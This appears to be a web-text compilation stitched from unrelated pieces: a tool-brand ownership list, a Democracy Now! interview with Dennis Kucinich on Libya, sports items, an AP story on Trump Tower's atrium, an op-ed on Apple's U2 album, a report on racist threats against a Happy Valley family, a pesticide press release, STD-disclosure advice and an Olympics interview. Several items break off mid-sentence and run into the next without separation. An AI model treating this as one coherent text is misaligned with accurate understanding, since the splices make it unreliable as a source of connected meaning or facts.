More Info (via JPW)
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Snap-on Incorporated
Headquarters: Kenosha, WI, USA
Snap-on
Acesa
ATI
Bahco
Blue Point
CDI Torque
Irazola
Irimo
Lindstrom
Palmera
Sioux
Wanda
Williams
(These companies fall into four groupings – Snap-on, Snap-on Industrial, SNA Europe, and Snap-on Specialty Tools, with some overlap.)
More Info: Snap-on Incorporated, Snap-on Industrial, SNA Europe
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Ideal Industries
Headquarters: Sycamore, IL, USA
Ideal
Anderson Power
Casella Measurement
Pratt-Read
SK Hand Tools
Trend Communications
Western Forge
More Info (via Ideal)
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Newell Rubbermaid
Headquarters: Atlanta, GA, USA
Dymo
Hilmor
Lenox (Sold to Stanley Black & Decker)
(Sold to Stanley Black & Decker) Rubbermaid Commercial Products
Sharpie
Irwin Tool Brands (Sold to Stanley Black & Decker)
More Info: Newell Rubbermaid
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Delta Power Equipment Corporation (Chang Type Industrial)
Headquarters: Anderson County, SC, USA (Delta PEC); Taichung City, Taiwan (Chang Type)
Biesemeyer
Delta
More Info (via ToolGuyd)
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Kyocera
Headquarters: Japan (Kyocera Parent Corporation)
Kyocera acquired Senco, known for their air compressors and nailers.
Kyocera also acquired Ryobi, but not the Ryobi brand that North America users are familiar with – that brand’s tools and accessories North America business is still owned by TTI.
Senco
Aerfast Europe BV (formerly Van Aerden Group BV, a European pneumatic tools brand)
Ryobi (not the Ryobi most USA readers are familiar with)
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Positec
Rockwell
Worx
Positec has also been known to manufacture tools for other brands.
More Info (via Positec)
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Reader |
be in its final form.
JUAN GONZALEZ: We begin today’s show on Libya. The White House is refusing to confirm on a report that President Obama has signed a secret order authorizing covert U.S. government support for rebel forces seeking to oust Libyan leader Muammar Gaddafi. According to the Reuters news agency, Obama signed the order, known as a presidential “finding,” within the last two or three weeks.
Earlier this week, the New York Times revealed CIA operatives are already on the ground in Libya as part of a covert Western force to aid the U.S.-led bombing campaign.
In Washington, the President’s war plans are continuing to come under criticism by some members of Congress. On Thursday, Ohio Democratic Congressman Dennis Kucinich gave a 40-minute address on the floor of the House. He accused President Obama of violating the War Powers Resolution by attacking Libya without congressional approval. Congressman Kucinich has also suggested the President’s actions are an impeachable offense.
AMY GOODMAN: Congressman Dennis Kucinich joins us now in Washington, D.C., to talk about Libya as well as the latest news from his home state of Ohio, where, well, last night Ohio Republican Governor John Kasich signed a bill that strips collective bargaining rights for state employees and bars them from striking.
Congressmember Dennis Kucinich, welcome to Democracy Now! Let’s start with Libya. Lay out your thesis that you put forward on the floor of the House yesterday.
REP. DENNIS KUCINICH: Simply put, the President has no constitutional authority to do what he’s done. He has changed the Constitution, in effect, by saying that he has an executive privilege to wage war. He’s ignored Article I, Section 8. He’s ignored the War Powers Act. He’s even exceeded the U.N. mandate. And so, this administration has taken this country on a path that is profoundly anti-democratic, and it needs to be challenged.
JUAN GONZALEZ: And Congressman, when you say an “impeachable offense,” those are pretty strong words.
REP. DENNIS KUCINICH: Well, actually, what I’ve said is that he’s exceeded his authority as executive, and I raised a question as to whether or not when someone does that, if that in fact is an impeachable offense. Look, there’s not going to be an impeachment, but someone has to say that what the President is doing is fundamentally wrong, if we have any understanding of the way this country was founded. The founders did not want to create, in the executive, another British king who could wage war at his whim and caprice.
This president has assumed power that no president, not even President Bush, has assumed. And I think that we need to focus on this, not as a matter of whether we like President Obama or not, not as a matter of whether we are Democrats or not, but whether or not we understand the basic constitutional principles of the separation of power, of the separation of the war power, and that the president’s role as commander-in-chief has nothing to do with an ability to make war. He just simply doesn’t have that power.
AMY GOODMAN: What about President Obama’s argument, when he made his case to the nation, that he was trying to prevent a massacre and that it would have been wrong not to take action with the world community?
REP. DENNIS KUCINICH: Well, we don’t know what exactly was going on in Libya, because the fact is that when a U.N. commission of inquiry went in, they had to quickly leave, because the bombing had started. The fact that the leader of that country made threats to do something, you know, this wasn’t a basis for the United States to assume that we had the right to go in and start to provide the rebels with air cover. I mean, this thing has leapfrogged from a, quote, “humanitarian intervention,” which inevitably is taking the side of the rebels, so we’re helping to fulminate a civil war, into a full-scale military operation, which, you know, it seems was the real intention all along.
So, we really have some serious questions to ask of this administration. And Congress, if Congress is to mean anything at all with respect to our historic responsibilities as the first among equals in our Constitution, we have the obligation to call this administration to an accounting, and not just be supplicants to the power of a president who is now starting to act like something that’s beyond what the Constitution envisioned.
JUAN GONZALEZ: Well, Congressman, but the reality is, in terms of the recent U.S. history especially, there have been any number of U.S. interventions in countries where they stopped short of a full-fledged war, but — and the president, for one reason or another, didn’t feel it was necessary, before sending troops into the field, to request the vote of Congress. Your sense of how the War Powers Act has evolved in the United States in recent years?
REP. DENNIS KUCINICH: Well, there’s a couple issues here. First of all, what other presidents have done, you know, frankly, that’s neither here nor there. If there’s an argument that, well, Congress didn’t assert its authority before, and so what’s happened is that we — as I think Glenn Greenwald argued this, as well, in a recent column — it doesn’t follow that the consistent acquiescence to an executive usurpation of congressional power nullifies the founding document. It doesn’t. At some point you have to say, “Wait a minute here.” And so, that’s what I’m doing.
Now, to look at the Constitution of the United States, Article I, Section 8 firmly defined the war power. You read the sense of Washington and Jefferson, you read The Federalist Papers, Number 69, what Hamilton wrote about it, it makes it clear. That’s where the war powers is. Now, the War Powers Act was an attempt to define better the relationship between Congress and the presidency by, you know, carving out circumstances under which the president can take action before going to Congress and providing for notification later on.
The President has not met the requirements of the War Powers Act with respect to that, in terms of the definition of there being an attack on the United States, or the threat of one. So, this is a circumstance where this administration is redefining the presidency in the same way that John Yoo, the attorney for President Bush, redefined it. We’ve got a presidency here that is becoming to be — is beginning to be indistinguishable from that of the Bush White House with respect with its use of war power, with respect to its interpretation of executive power, with respect to the role of the president in defining all national security issues without consulting with Congress at all.
AMY GOODMAN: What do you think President Obama should do in Libya, and then Yemen, for example? I mean, we have to look at all of these countries — in Tunisia, in Egypt, Yemen — where the U.S. has supported these dictators, these despots, for decades. But what should the U.S. do in Libya? And then, what about Yemen, where the U.S. continues to support Saleh?
REP. DENNIS KUCINICH: Well, there’s two things here, Amy. One is what we should have done, and number two is where we are now. We have no right to intervene in the internal affairs of any country. It is awful any time people are suffering under a bad leader, and it’s awful when there’s violence. You know, you can never condone that. On the other hand, as Noam Chomsky famously pointed out, humanitarian war is an oxymoron. Inevitably, it expands to engulf citizens. We’re involved in a civil — in what is a breeding civil war here that inevitably is going to make of Libya a graveyard. We need to pull back. We need to get out. Now, having disturbed things like this, it means that there would be profound consequences for the people that — on whose side we’ve intervened, and there would be profound consequences for the CIA that’s been on the ground there. But the fact of the matter is, we had no right going in there.
And let’s go beyond Libya. If we start intervening for humanitarian purposes throughout the region, we’re looking at feeding this impulse of war. We could be on the verge of a war that is so broad that we become engulfed in it. And that’s really, I think, what we’re headed for, because the Obama administration is not showing the kind of restraint that the people have a right to expect in a president of the United States and is not showing the willingness to recognize the constitutional role of the Congress. And if you do not have Congress as a coequal branch of government, then you have an executive who’s quite free to pursue adventures in his name and not in the name of the country.Paul Lambert: Denies claims of a rift with Darren Bent
Bent was back available after missing three games with an ankle problem but Lambert instead preferred rookie Jordan Bowery as his back-up striker on Saturday evening.
The England player had already lost his starting place to Christian Benteke before the injury and there has been speculation that he could leave Villa during the January transfer window.
When asked why Bowery was preferred to Bent, Lambert said: "That's my decision. I'm the man that picks the team.
"Listen, it's my choice and I've 26, 27 lads that I have to look after. Everybody's in it together and I need everybody in it together.
"I know the disappointment when you don't play. I was dropped about five million times as a player, but that's the nature of the game.
"If you could pick everybody you would. Darren's still part of it but Ive got 25, 26 guys to take care of and think of."
Lambert reiterated that there is no rift with Bent but did not say whether he will be involved in some capacity for Tuesday's home game with Reading.
He added: "Darren is fine. There's nothing at all. The most important thing is Aston Villa Football Club."FILE - In this Sept. 3, 2015 file photo, Republican presidential candidate Donald Trump holds a news conference in the lobby of Trump Tower in New York. A holiday party for The Trump Organization held in the atrium of Trump Tower on Tuesday, Dec. 12, 2017, may be the latest case of the first family flouting a rule requiring it to get permission to use what has been designated public space. In exchange for special zoning rights to make Trump Tower bigger, the atrium must be open to the public until 10 p.m. daily, unless given permission by the city for a private event. (AP Photo/Mark Lennihan, File)
NEW YORK (AP) — Two holiday parties the Trump Organization held in the atrium of Trump Tower this month may be the latest cases of the first family flouting a rule requiring it to get permission to use what has been designated a public space.
New York City’s planning department told The Associated Press it has no record of President Donald Trump’s company requesting to use the atrium for the parties held Dec. 4 and 12. Such permission is required for private events under a deal Trump struck with the city in the late 1970s. In return for a variance to make the tower bigger, the building’s grand marble lobby must be open to the public every day from 8 a.m. to 10 p.m.
“Tis the Season of the Trump Organization Christmas Party!” the company tweeted this week, with pictures showing well-dressed guests sipping drinks and noshing on sushi under a decorated tree. Donald Trump Jr. and his brother Eric are seen in one shot addressing guests over microphones.
An earlier tweet showed similar photos of the Trump Realty holiday party, with an even bigger throng of guests packing the amber-hued lobby.
The Trump Organization did not reply to requests for comment.
The Secret Service sometimes blocks public access to the atrium to protect the first family, and it’s not clear if the agency played a role in the decisions to close the space. It did not immediately return a call for comment.
But even if the Secret Service was responsible for the closure, the company still violated its deal with the city, said Jerold Kayden, a professor of urban planning at Harvard. He said the city requires not just written permission prior to private events, but that the events have some public purpose or “extraordinary worthy cause,” such as raising money for a charity.
“This is a private party for the Trump Organization,” said Kayden, who has fought the company previously on public use of the space. “Hold it somewhere else. You can’t use that space.”
Kayden said the city allowed the Trump Organization to add nearly 100,000 extra square feet to the building, which has both office and residential areas. That is about 30 condominiums of extra space, worth about $280 million at current sale prices.
Last year, the AP reported that then-candidate Trump held four news conferences in the Trump Tower lobby, and the city could find no prior approval.
The city has occasionally cracked down on Trump’s company. It was fined $4,000 in 2015 and $2,500 in 2006 for installing kiosks selling merchandise in the space.
An audit this year from City Comptroller Scott Stringer found that the Trump Organization is hardly alone. It inspected all 333 of the city’s privately owned public spaces and found the majority of them are breaking the rules.Last week, Apple gave us all a gift called Songs of Innocence. On Monday, it released instructions on how to give that gift back.
The company concluded its big reveal of the Apple Watch and the newest generation iPhones with a curious coda: 10 years after the U2 song "Vertigo" was used in one of the first "dancing silhouette" iPod ads, the band took to the stage to unveil a surprise new album being distributed exclusively by Apple, and given to all users of the iTunes Music Store. In a press release, Apple calls this, correctly, "the largest album release ever." "A big moment in music history. And you’re part of it," crows the U2 page Apple set up on its website. "Never before have so many people owned one album, let alone on the day of its release."
This is not In Rainbows, and should instead be remembered primarily as a monumental blunder by the tech industry.This is all technically true, but bloviating aside, there's a very simple reason why this is unprecedented, and that is because it doesn't make any sense. Never before has such a major technology company also operated as publicist for a creative artist. The whole endeavor yearns desperately to be a landmark new innovation for the music industry, perhaps something along the lines of Radiohead's legitimately earth-moving In Rainbows, which was self-released with variable pricing in 2007 and remains the gold standard against which music industry innovation is measured.
But this is not In Rainbows, and as such should instead be remembered primarily as a monumental blunder by the tech industry. The delivery mechanism amounts to nothing more than spam with forced downloads, and nothing less than a completely indefensible expansion by Apple beyond its operational purview. This company makes hardware and operating systems—even if it's one to which I've more or less entrusted the management logistics of my personal music collection. It has, demonstrably, no competence in the sort of social and cultural thought that should have gone into a well-orchestrated version of this same gimmick, like, say, a free album as a birthday gift. It also certainly has no business forcing files of any sort onto my computer without my permission.
#### Vijith Assar ##### About *[Vijith Assar](http://www.vijithassar.com) ([@vijithassar](http://twitter.com/vijithassar)) is a tech and culture writer who thinks a little paranoia can be healthy—why are you so curious?*
Automated downloads are great for the things you actually want to download, like a favorite podcast or the kind of security updates that might have prevented the massive recent leak of private photos from Apple's iCloud service. WordPress and Google Chrome keep themselves safe and stable using almost imperceptible background update processes, and the Internet is healthier for it. But to anoint an otherwise inconsequential cultural artifact as worthy of bandwidth, storage space, and mental overhead on behalf of every single iTunes user is tantamount to Apple picking the music for the devices it sells. (It actually tried to do that in 2004 with a U2-branded special edition iPod, which came loaded with the band's entire back catalog and was billed as "the world's first digital box set." The product was eventually killed, presumably after lackluster sales, since to date I've still never seen one in the wild.) Consider just the time wasted on finding and deleting it almost 500 million times. Is the company completely oblivious to the idea that users of its technology products come in shapes other than those who would be interested in a pop-rock band popular among older white males?
For the first week, it was literally impossible to delete the U2 album, because it had been registered as a "past purchase" for every user of the iTunes Music Store. This meant that so long as users wanted to automatically download their media purchases—a reasonable assumption, given that they, you know, purchased them—the album would continue to show up again and again. The only alternative was to disable automatic downloading of iTunes purchases, or to log in to the desktop client and "hide" the purchase; this wouldn't delete it completely, but you wouldn't see it1. Yesterday Apple added a special tool that could be used to permanently remove it from the purchase history. If nothing else, Songs of Innocence is the first album to command a custom-coded deletion tool and an official accompanying support document issued by one of the largest technology companies in history.
"For the people out there who have no interest in checking us out, look at it this way... the blood, sweat and tears of some Irish guys are in your junk mail," says Bono, missing the point in a letter on the band's web site. Nope! Not in the junk mail, but instead in a position of unwarranted prominence on the expensive device I use to organize and execute almost everything of importance in my life, including work, friends, communication, and especially music. If I use an automated backup utility like, say, Apple's own Time Machine application, the album is now also taking up space in my disaster recovery archive, perhaps crowding out another album, or irreplaceable photos, or something else more worthy (which is to say, anything else whatsoever). There might be an idea worth talking about here if the album had showed up in the Trash instead, preemptively deleted on the correct assumption that I don't care—which would have been extremely easy to predict algorithmically, given the information Apple probably already has gathered about my musical tastes.
Of course, you can be sure both those same marketing analytics are being reported to U2 as part of this deal, and that we'll never find out how many of the 500 million recipients deleted the album immediately. To put this in context, No Line on the Horizon, U2's previous album, has shipped about 1.1 million copies domestically since its release in 2009, which is as many as Lady Gaga's Born This Way moved in its first week. Michael Jackson's Thriller, the best-selling album ever, has moved 29 million copies domestically to date.
Forcible dissemination of a trinket that statistics suggest is useless to 498 million of the 500 million people who received it is a simple demonstration of privilege: U2 is among the few bands with the grandfathered-in industry connections to get something so absurd—and have Apple pay a nominal fee for each copy, no less. Apple, in turn, can leverage an uninterested and unwitting audience that is unlikely to do much about the transgression, given that they have no real recourse nor alternative.
If nothing else, Songs of Innocence is the first album to command a custom-coded deletion tool and an official accompanying support document issued by one of the largest technology companies in history.Meaningful power has by now largely disappeared from the music industry; there's no other conceivable way for U2 or any other musician to get 500 million copies shipped on day one. The largest tech companies arguably are centers of power in precisely the way record labels no longer are, and as such they always are examined under a microscope. For example, Dropbox sparked a controversy in April by appointing to its board Condoleeza Rice, George W. Bush's former Secretary of State and a longtime defender of warrantless Internet surveillance. Knowing this, do you still have total confidence in the privacy of your Dropbox files? If not, can you also with total confidence grant Apple the ability to write files of its choosing onto your hardware? That is a strictly rhetorical question because, too bad, you already did.
There’s also an admission of failure here. The swift delivery of a removal tool is an admission by Apple that this was a bad idea. U2’s decision to promote by spam acknowledges delusions of grandeur in which it makes more sense to manipulate 15 percent of the world population rather than create art for true fans. It is not especially difficult to procure new music, whether through iTunes or elsewhere, so this rush to remove the one click required to do so seals iTunes's fate as a sterile technological platform, not the cultural force it aspired to when it launched in 2003. Furthering cultural goals through iTunes now requires the special privilege of deviating from standard operating procedures; to date, this has been granted only to the sole band for whom Apple has ever built customized hardware.
"People don't know what they want until you show it to them," Steve Jobs famously said. So, Apple, is the inverse also true? Songs of Innocence is not a well-intentioned gift from a dorky uncle with poor taste, it is another example of how Big Brother can intrude on our lives. It demonstrates the need for transparency in software even to those who are not zealously devoted to the ideals of open source.
But now that you mention it, U2′s public image is heavily tied to an aspirational idealism; if any of that were actually true, they'd be appalled by the idea of forcing art down half a billion gullets, would cautiously view it as an omen of an alarming future, perhaps even write a song lamenting it. Then again, maybe chronicling our increasingly concurrent dystopian futures is a job better left to Radiohead.
1Update at 2:15 p.m. ET: An earlier version of this story did not mention the previous workaround of "hiding" the album from past purchases, which was always possible.Ubisoft CEO Yves Guillemot has said that the move from PlayStation 3 and Xbox 360 to PlayStation 4 and the next-gen Xbox is happening a lot sooner than expected.
In an interview with Gama, Guillemot said that the unveil of Wii U at E3 has seen Sony and Microsoft getting ready quicker than expected.
“I think it’s sending the message that the new transition is going to happen – and we’re going to have new machines coming soon,” he said.
Ubisoft will continue to be a publisher that will be there for hardware launches like Wii U – having been a launch partner for all of the current-gen systems such as 360, PS3 and Wii – according to Gulliemot.
“We’re going to continue to take this approach,” he said. “We feel this console is coming with very innovative features that will change the video game industry and we want to be a part of that.”The “you didn’t build that controversy” that Republicans have fabricated using out-of-context quotes in a solidarity speech given by our President has taken a new, and shameful, turn. The Republican National Committee sent a birthday cake to the Democratic National Committee on Friday, which the DNC promptly sent back.
As seen above, the cake has “You Didn’t Bake This” written on it, a play on the misquoted “You Didn’t Build This” speech. I must note that no, Obama didn’t bake the cake. The bakery that DID bake it, though, no doubt had help from the farmers that produced the wheat and other ingredients, the dairy farmers who milked the cows, and the chicken farmers that collected the eggs. They also must have had help from the RNC in moving their product, because a business is nothing without customers.
The Republican continuance of this so-called “controversy” shows an enormous depth of what can only be called stupidity.
Apparently the DNC has teeth too, though, striking back in a hilarious way: “This is typical of Mitt Romney’s approach to the middle class,” DNC spokeswoman Melanie Roussell told The Hill. “He wants to ‘Let them eat cake!’ while robbing them blind. We sent the cake back to the RNC, along with a copy of the Tax Center’s report on Mitt Romney’s tax plan.”
An article referring that study can be found here.
Image credit goes to the RNC and DNC, respectively.ATLANTA -- Braves third baseman Chipper Jones on Tuesday was named to replace Dodgers outfielder Matt Kemp on the NL All-Star roster.
Jones had been a candidate to be voted onto the team by fans in baseball's Final Vote campaign. Instead, Jones, 40, is replacing Kemp, who is on the disabled list with a hamstring injury but plans to participate in the All-Star Home Run Derby.
Jones said he immediately thought about his children when he was told by general manager Frank Wren of the honor after batting practice on Tuesday.
"I'm gonna be a kid in a candy store carrying four other kids in a candy store," Jones said.
He said his spot on the All-Star team "was a complete surprise."
The All-Star Game will be played at Kansas City's Kauffman Stadium. Jones said it is the only current stadium in the major leagues in which he has not played.
Jones will be making his eighth All-Star appearance in his final season. He has announced plans to retire after the season.
He is hitting.291 with six homers and 29 RBIs. He said he will tell NL manager Tony La Russa he would be happy just to watch if he is not needed in next Tuesday's game.
Jones will join Braves teammates Dan Uggla, the starting second baseman, and closer Craig Kimbrel on the NL team. Center fielder Michael Bourn remains a candidate in the fans' Final Vote for the last roster spot.
Jones was injured and did not play when he was named to the 2011 All-Star team. He is 5 for 13, for a.385 average, with one homer in six All-Star Games. He started in 2008.
"I've felt the same excitement every time," Jones said.
Jones' 460 career homers are No. 3 on the list of switch-hitters, behind Mickey Mantle (536) and Eddie Murray (504).
He entered Tuesday night's game with a season-best nine-game hitting streak. He said he has regained confidence in his swing after missing two weeks with a contusion on his left leg.David Martyn Lloyd-Jones, Welsh minister and doctor, once said:
“The whole future of civilization, it seems to me, rests upon this: f the West goes down and is defeated, it will be for one reason only: internal rot…If we continue to spend our lives in jollification, doing less and lesswork, demanding more and more money, more and more pleasure and so-called happiness, more and more indulgence of the lusts of the flesh, with a refusal to accept our responsibilities, there is but one inevitable result–complete and abject failure….the fall of Rome came because of the spirit of indulgence that had invaded the Roman world…And the really alarming fact today is that we are witnessing a similar declension in this and most other Western countries….This is the essential problem, this sheer absence of discipline and of order and of true notions of government!” (From A Theology of the Family)
Sadly, in our culture we do see a tremendous inclination toward shirking responsibility and failure to self-govern.
I submit that as parents, one of the most important things we will ever do for our children is teach them how to take responsibility for their actions and how to self-govern their passions and desires.
I could pick out any tragic news story from bankruptcy to murder and almost always find at its root, the inability to self-govern.
So how to teach it?
Start early. A toddler just learning to eat may throw the food he doesn’t want on the floor. Cute as it may be (or not), it is an opportunity to help him begin to govern his emotions. The basic lesson he needs to learn is, “We can’t just act out every desire we have.” And that lesson will need to be applied consistently until he is an adult able to say to himself, “I can’t just buy x because I want it” or, “I can’t punch my boss because I feel like it” or, a thousand other things.
Direct his responses. For a small child who is told his response is not acceptable, he needs to know which one is. If a child is whining/crying for his cup, you can simply correct him and tell him the proper way to ask. And older child who lashes out in frustration needs to hear what words and tone are a better substitute.
It’s time-consuming and tedious, as is most of parenting. But the outcome is well-worth the effort, and where the effort isn’t given, the consequences will follow a parent to his death as he deals with the aftermath of his failure to help his children govern themselves.
(Obviously, a disclaimer could be inserted here that sometimes a diligent parent will have a child who rejects the faithful work of his parents. But just like the Proverbs, generalities apply.)
Tell stories. Proverbs is full of vignettes depicting what happens to the one who doesn’t live responsibly or govern his emotions and actions. Take the opportunity to make the Proverbs come to life for your children, tying the stories to real life.
Conversely, look for stories that demonstrate heroic character of men and women who have chosen to govern themselves and live responsibly. Praise those traits and encourage your children to emulate them.
Model it. We can’t expect to raise self-governing children unless we practice it ourselves. (I know, ouch.) They will absorb the way we live life, so we need to remind ourselves to demonstrate taking responsibility for our actions, not blaming others, and finding gratitude wherever we are.HAPPY VALLEY -- Neighbors expressed bewilderment as much as shock Thursday after a Vietnamese American family suffered racial harassment and threats as they began moving into their new home.
Jami Onchi, 32, who lives down the street, said ethnic diversity was one reason she and her husband moved to the neighborhood. "My husband is Japanese, and we have half-Japanese children," Onchi said. "I can only say this is extremely strange."
On Monday, vandals spray-painted racial slurs on Sang Huynh and his family's new home and left a note threatening to burn it down. The FBI and Clackamas County authorities are investigating the incident as a hate crime.
"It's just terrible because we just moved here, and it's my dream area," said Phong Tran, Sang Huynh's wife. "How were we supposed to know this would happen?"
Tran said she suspects the vandals who defaced her home live close by, but the family has no clue who they could be.
"We don't have any enemies here," said daughter Lisa Huynh, 14, who will be a freshman at Clackamas High School. "If they were mature, they'd talk to us in person."
Mayor Rob Wheeler called the incident totally unacceptable and disturbing, "especially in a city where nearly 9 percent of residents are of Asian descent."
"It is such an uncharacteristic act to have happened in our city," Wheeler said. "We have families from many ethnic backgrounds who have lived peacefully in Happy Valley for years without problems. This is clearly the work of a disturbed individual or misguided vandals."
On Monday afternoon, Huynh, his wife and their children discovered that someone spray-painted racial slurs on the exterior of their new home on Southeast Catina Place, a quiet residential street with mostly two-story homes.
The family also found a book of matches next to a clear plastic bottle filled with what police think is gasoline. The accompanying handwritten note said, "Last warning. We will burn your house down if we have to."
Other notes said, "LEAVE" and "Welcome to the neighborhood.
The family immediately contacted police.
Under state law, the graffiti and threats appear to be Class A misdemeanor hate crimes, because they were motivated by race.
Class A misdemeanors usually are punishable by a maximum of one year in jail and a $6,250 fine. However, if two or more people committed the crimes together, they would become a Class C felony, punishable by a maximum of five years in prison and a $125,000 fine.
If prosecuted in U.S. District Court as civil rights violations, federal sentencing guidelines allow judges to impose enhanced sentences that could mean as long as an additional two years in prison. The U.S. Department of Justice also could file civil lawsuits alleging civil rights violations.
Happy Valley officials said residents have been calling and e-mailing the city to express sympathy for the family. Others who wish to send cards may deliver them to City Hall, 16000 S.E. Misty Dr.
Detective Jim Strovink, the Clackamas County sheriff's spokesman, urged anyone with information about the incident to call the sheriff's confidential tip line at 503-723-4949. Confidential text messages can be sent to CRIMES (274637 on a cell phone keypad), with the keyword "CCSO" as the first word in the message.
Huynh, a machinist at Boeing of Portland, and his wife, Tran, who owns a Southeast Portland convenience store, both were born in Vietnam. They became naturalized U.S. citizens about 10 years ago. Their four children were born in the United States.
"They obviously were trying to scare us," said son Brian Huynh, who will be an eighth-grader at North Clackamas Middle School. "But we're just trying to stay positive."
--
--Ends State’s Practice of Rubber-Stamping New Uses for Neonicotinoids
San Francisco, CA — The First District California Court of Appeal issued an opinion Tuesday in a lawsuit challenging a California Department of Pesticide Regulation (DPR) decision to approve additional uses for two bee-killing pesticides without disclosing the impact on honeybees.
Pesticide Action Network, Center for Food Safety, and Beyond Pesticides, represented by Earthjustice, filed the underlying lawsuit in 2014, seeking to halt DPR’s practice of approving ever more uses for neonicotinoid pesticides pending completion of the agency’s languishing scientific review of the evidence linking agricultural use of neonicotinoids to a global honeybee die-off. DPR began its scientific review in early 2009 after it received evidence that neonicotinoids are killing bees, but DPR has yet to complete its review or take meaningful action to protect bees. Instead, DPR has continued to allow increased use of neonicotinoids in California.
“DPR acknowledged almost 10 years ago that neonicotinoids are killing bees, yet the agency has approved more and more uses for these toxic pesticides every year since,” said Earthjustice attorney Greg Loarie, who represented the groups. “It’s time for DPR to do its job and protect honeybees and the multi-billion dollar agricultural economy that bees make possible in this State.”
At issue in the lawsuit was DPR’s decision to expand the use of two powerful neonicotinoid insecticides – sold under the trademarks Venom Insecticide and Dinotefuran 20SG – despite the agency’s still-pending review of impacts to pollinators. The case underscores larger problems with DPR’s unwillingness to comply with laws enacted to ensure that pesticides do not threaten human health, agriculture, or the environment.
“This ruling is welcome news, given the crisis facing bee populations in California and across the country, along with the resulting impacts on farmers and our food system,” said Paul Towers, Organizing Director and Policy Advocate at Pesticide Action Network. “We applaud the court for confirming that the state must evaluate the impacts not only of these two pesticides, but also the toxic combination effect of multiple pesticides, as well as meaningfully consider alternatives to their use. This is a win for public health, the environment -- and in particular honeybees.”
A growing body of independent science links the class of pesticides called neonicotinoids to bee declines, both alone and in combination with other factors like disease and malnutrition. Twenty-nine independent scientists conducted a global review of 800 independent studies and found overwhelming evidence of pesticides linked to bee declines.
“Unless halted, the use of these pesticides threatens not only the very survival of our pollinators, but the fate of whole ecosystems. DPR has a responsibility to step in and say no. Particularly in the current political climate, it is all the more important to continue to hold all regulators accountable and to have states step up and protect beekeepers and the environment,” said Rebecca Spector, West Coast Director at Center for Food Safety.
“An overwhelming body of scientific literature calls for regulatory action to protect vulnerable pollinator and other non-target species from toxic pesticide use,” said Jay Feldman, Executive Director of Beyond Pesticides. “This court decision enforces regulatory responsibility to assess the full range of impacts caused by the indiscriminate pesticide poisoning in order to preserve essential ecological services that are critical to sustaining life.”
One in every three bites of food depends on bees for pollination, and the annual value of pollination services worldwide are estimated at over $125 billion. In the United States, pollination contributes $20-30 billion in agricultural production annually. And in California alone, almonds crops — entirely dependent on bees for pollination — are valued at over $3 billion.
###
Contacts:
Contact:
Paul Towers, Pesticide Action Network, (916) 216-1082
Greg Loarie, Earthjustice, (415) 217-2000
Rebecca Spector, Center for Food Safety, (415) 826-2770
Jay Feldman, Beyond Pesticides, (971) 271-7372Michael Dawson says the players can't wait to get back into action against Norwich City on Saturday.
The Canaries arrive at the Lane for a 3pm kick-off in the Premier League.
After winning our first four matches of the season - two in the Premier League, two in the Europa League - we suffered our first defeat in the North London derby last time out.
“It feels like it’s been a long couple of weeks here waiting for this next game,” said Michael.
“We would have liked another game straight away to put things right, especially after losing at Arsenal. It’s such a blow for |
person know there’s a lot of information on the web and encouraging them to do some research on their own is always great. This let’s the individual know you respect their opinion and that this kind of decision takes some thorough consideration.
Then, I leave.
Often, I’ve shared my story and then said something along the lines of, ‘I know this is a lot to take in, and I’m not expecting a reaction or response immediately – no matter where you want to go from here, I respect that entirely, of course. Do some research, and then let’s talk about how you feel when you’re ready.’
Give Them Time
Everyone is different. Obvs.
Some people have responded immediately with an incredibly surprising, ‘You mean, that’s all you had to tell me? So what? This doesn’t change how I feel about you.’ Others have needed more time to digest, to come back and ask me questions, and then to digest some more. Because of the taboo nature of STDs, it’s hard to decipher how anyone will react.
As a result, it’s nice to let them know they can have as much time as they need.
In the end, some people may choose not to continue the relationship. This is an understandable reaction, even though it will probably break your heart.
Consider yourself lucky to know why they do not want to go further. You could probably care less about the silver-lining to all of this right now, as your heart is breaking…. But remember, most people never know why a person stops calling them or chooses to see other people; they are stuck analyzing everything they did and wondering if it was their looks, their personality, their family, whatever.
Should someone choose to end the relationship as a result of your STD, know it actually has nothing to do with you. They were scared – rightfully so – and the relationship had not developed enough for them to be willing to take the risk. Sucks, yes, but it’s not the end of your dating career, and it means you’re still awesome despite your STD.
Believe me, it’s true.
And, for those of you who like bullet points, here’s the abridged version of how to tell someone you have an STD:
Tell them in-person while in a calm and quiet environment – their home could be a good choice.
Be honest about your experiences, be positive about yourself and your STD, let them ask questions, share the facts and figures, and point out some good resources.
Let the person have some alone time to do their own research and to decide how they would like to proceed.
Don’t take their decision personally.
If All Else Fails…
Should you be in a situation where you have already put a person at risk and you cannot bring yourself to discuss your STD face-to-face, should you feel telling the person would put your safety at risk, or for any other reason you are not able to have a conversation directly, there are a handful of websites designed to notify partners of your STD for you anonymously.
These are great sites designed for those in fear of judgement but wanting as much as possible to do the right thing.
Did you try this out – how’d it go? Do you have another method that worked for you? Share your thoughts and suggestions in the comments sections below!
More On This:The LA Kings are extremely well-represented at the 2014 Winter Olympic Games in Sochi, Russia – six hockey players, an equipment manager, and a music director.
Dieter Ruehle, who has been the Kings’ music director and organist for 18 consecutive seasons (24 NHL seasons, total), has the honor of playing in his fifth Olympic Games and is currently the disc jockey and organist for men’s and women’s ice hockey at Shayba Arena.
Aside from his NHL credits, Ruehle also does the music for the LA Lakers, and has many other elite sporting events on his resume, including NBA All-Star games, NHL All-Star games, and the US Open Tennis Championships. Ruehle can also be heard on select EA Sports NHL games.
Ruehle departed for Sochi on February 1, after leaving his Kings and Lakers responsibilities to a stand-in, and took some time to share his experience from Sochi thus far.
How many Olympics have you done now, including this one?
DR: This is my fifth Olympics overall. It’s my fourth consecutive Winter Olympics. I worked the 2004 Athens Summer Olympics. And I worked the 2002 Salt Lake Games, 2006 Torino Games, 2010 Vancouver Games and now in Sochi.
What has been the most notable thing about this Olympics thus far?
DR: For me, the most notable thing about these Olympics is that all of the non-mountain venues are together in one huge complex here in Sochi. Spectators can walk from Speed Skating to Ice Hockey to Figure Skating to Curling all within minutes.
How have the accommodations been in Russia?
DR: My accommodations are quaint. I’m in a 1960s Soviet-era nine-story hotel located on a hillside with a great view of Sochi and the Black Sea, very near an old summer home of Josef Stalin.
Have you been able to take in any events as a spectator?
DR: So far, I’ve only taken in a part of the opening hockey game next door at Bolshoy Arena between Sweden and Czech Republic.
What is the biggest challenge for you during the Olympics?
DR: Getting enough rest. The Olympics are a long haul with some early call times and long days/nights (today I worked two hockey games.) I’ve found that I need to be sure I get enough rest to be at my best.
Is it hard not speaking the language of the host country?
DR: Not speaking Russian has been a challenge when ordering food IF I’m alone. But usually I’m with co-workers who can order with me. But other than that, not speaking Russian has not been an issue.
